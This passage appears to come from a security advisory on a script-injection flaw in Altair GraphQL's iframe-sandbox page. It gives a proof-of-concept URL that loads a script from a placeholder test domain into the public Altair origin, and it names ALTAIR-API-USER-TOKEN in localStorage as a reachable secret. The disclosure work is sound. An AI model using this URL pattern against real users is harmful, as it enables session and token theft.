Details
Expected behavior:
visible_tokenis readable throughdocument.cookie;- the
HttpOnlycookie is not readable throughdocument.cookie; localStorageandsessionStorageare readable;- same-origin requests can include cookies according to their attributes.
This step is optional and only demonstrates the consequences of JavaScript execution in a shared application origin.
- Public validation
The same behavior was also validated against the public Altair instance using a benign payload:
https://web.altairgraphql.dev/iframe-sandbox/?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22https%3A%2F%2F<controlled-test-domain>%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D
The controlled script only displayed:
Script executed in: https://web.altairgraphql.dev
Separately, browser storage for an authenticated Altair Web session was inspected and showed an ALTAIR-API-USER-TOKEN entry in localStorage for https://web.altairgraphql.dev.
Because the sandbox PoC already demonstrates attacker-controlled JavaScript execution in that same origin, this browser-accessible authentication value may be exposed by successful exploitation.
No tokens, storage, user data, or authenticated APIs were accessed during the public validation.
Impact
An unauthenticated remote attacker can craft an iframe-sandbox URL that causes attacker-controlled JavaScript to execute in the origin serving Altair when a victim opens the crafted URL.
The impact can become significantly higher when Altair is hosted on the same origin as authenticated application functionality. In such deployments, the injected script may be able to:
- read script-accessible cookies;
- access
localStorageandsessionStorage; - make authenticated same-origin requests using the victim's session;
- read same-origin API responses available to the victim;
- interact with application functionality as the authenticated user.
- enable phishing or UI spoofing scenarios.
HttpOnly cookies cannot be read directly through JavaScript, but they may still be automatically included in same-origin requests according to their cookie attributes.
For the hosted Altair Web deployment, an authenticated session was observed to store ALTAIR-API-USER-TOKEN in same-origin localStorage. Since JavaScript executing in https://web.altairgraphql.dev can access that origin's browser storage, successful exploitation may expose this authentication-related value.
The exact confidentiality and integrity impact depends on the deployment model and on the authenticated functionality exposed on the same origin.
The public validation against web.altairgraphql.dev only demonstrated attacker-controlled JavaScript execution in the Altair origin. No tokens, storage contents, user data, or authenticated APIs were accessed.